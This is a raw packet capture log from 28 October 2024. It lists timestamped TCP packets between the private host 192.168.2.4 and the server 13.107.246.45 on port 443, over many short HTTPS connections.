Oct 28, 2024 06:28:11.088498116 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.088723898 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.088773012 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.089747906 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.089792967 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.089812040 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.089852095 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.089870930 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.089890957 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.089920998 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.090050936 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.090095043 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.090095043 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.090116978 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.090157986 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.090164900 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.090176105 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.092519045 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.092531919 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.092612028 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.092780113 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.092791080 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.108473063 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.108499050 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.108572960 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.108577013 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.108633995 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.108711004 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.108731985 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.108762980 CET	49842	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.108773947 CET	443	49842	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.111046076 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.111057997 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.111136913 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.111279964 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.111293077 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.252888918 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.253712893 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.253748894 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.254471064 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.254478931 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.382980108 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.383055925 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.383126020 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.383155107 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.383192062 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.383196115 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.383244038 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.383532047 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.383552074 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.383564949 CET	49843	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.383572102 CET	443	49843	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.387973070 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.388011932 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.388077974 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.388284922 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.388303041 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.398981094 CET	49839	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.399049997 CET	443	49839	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.807760954 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.808404922 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.808434010 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.809053898 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.809062958 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.832428932 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.832942009 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.832990885 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.833370924 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.833385944 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.837001085 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.837343931 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.837389946 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.837802887 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.837826967 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.860130072 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.860646009 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.860660076 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.861038923 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.861046076 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.934814930 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.934910059 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.934966087 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.935190916 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.935214996 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.935235023 CET	49845	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.935250998 CET	443	49845	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.938427925 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.938463926 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.938527107 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.938642025 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.938651085 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.961000919 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.961034060 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.961102962 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.961103916 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.961144924 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.961184025 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.961196899 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.961209059 CET	49844	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.961213112 CET	443	49844	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.964690924 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.964720011 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.964782000 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.965718985 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.965737104 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.967869997 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.967927933 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.967972994 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.968065023 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.968070984 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.968080997 CET	49846	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.968084097 CET	443	49846	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.972089052 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.972114086 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.972176075 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.972868919 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.972882986 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.992791891 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.992867947 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.992954969 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.993309975 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.993318081 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.993331909 CET	49847	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.993335962 CET	443	49847	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.999512911 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:11.999566078 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:11.999634981 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.000099897 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.000124931 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.124469042 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.125415087 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.125456095 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.125901937 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.125907898 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.254635096 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.254786015 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.254851103 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.255033970 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.255058050 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.255070925 CET	49848	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.255078077 CET	443	49848	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.258403063 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.258447886 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.258553982 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.258718967 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.258739948 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.674006939 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.674586058 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.674606085 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.675100088 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.675107956 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.702224970 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.702724934 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.702755928 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.703161955 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.703167915 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.728735924 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.729207993 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.729231119 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.729604006 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.729612112 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.744725943 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.745085001 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.745122910 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.745439053 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.745452881 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.804502964 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.804603100 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.804651976 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.804811954 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.804828882 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.804841995 CET	49849	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.804847956 CET	443	49849	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.807905912 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.807955980 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.808043003 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.808181047 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.808197975 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.855561018 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.855812073 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.855892897 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.856002092 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.856024981 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.856040001 CET	49851	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.856046915 CET	443	49851	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.861308098 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.861354113 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.861437082 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.861594915 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.861610889 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.862215042 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.862293959 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.862344980 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.862415075 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.862432003 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.862446070 CET	49850	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.862453938 CET	443	49850	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.864573002 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.864626884 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.864718914 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.864823103 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.864837885 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.879242897 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.879345894 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.879393101 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.879472971 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.879491091 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.879506111 CET	49852	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.879522085 CET	443	49852	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.890295029 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.890326977 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:12.890414953 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.892786980 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:12.892806053 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.004013062 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.004849911 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.004872084 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.005403042 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.005409002 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.134510040 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.134660959 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.134792089 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.163567066 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.163598061 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.163613081 CET	49853	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.163621902 CET	443	49853	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.217163086 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.217209101 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.217295885 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.220922947 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.220937014 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.567089081 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.567878962 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.567930937 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.568325043 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.568337917 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.596688032 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.597142935 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.597157955 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.597505093 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.597511053 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.625056982 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.625328064 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.625468969 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.625508070 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.625776052 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.625782013 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.625885010 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.625896931 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.626557112 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.626563072 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.702833891 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.702910900 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.703192949 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.703244925 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.703268051 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.703310966 CET	49854	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.703325987 CET	443	49854	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.707983017 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.708015919 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.708108902 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.708328009 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.708345890 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.724513054 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.724581957 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.724687099 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.724730968 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.724791050 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.725029945 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.725029945 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.725049019 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.725061893 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.728076935 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.728107929 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.728176117 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.728305101 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.728312969 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.755911112 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.755947113 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.756002903 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.756078005 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.756148100 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.756148100 CET	49857	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.756165028 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.756179094 CET	443	49857	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.758414984 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.758471966 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.758574009 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.758750916 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.758771896 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.760355949 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.760510921 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.760600090 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.760600090 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.760631084 CET	49856	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.760643005 CET	443	49856	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.762892008 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.762934923 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.763005972 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.763160944 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.763178110 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.977274895 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.987241983 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.987267017 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:13.988470078 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:13.988476038 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.116816998 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.116966963 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.117047071 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.117280960 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.117280960 CET	49858	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.117296934 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.117302895 CET	443	49858	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.121192932 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.121246099 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.121346951 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.121552944 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.121572971 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.431204081 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.431924105 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.431950092 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.432565928 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.432573080 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.490641117 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.491198063 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.491213083 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.491791010 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.491796970 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.492532015 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.493089914 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.493120909 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.493660927 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.493669033 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.509269953 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.509664059 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.509680986 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.510201931 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:14.510206938 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.560321093 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:14.560405970 CET	443	49859	13.107.246.45	192.168.2.4
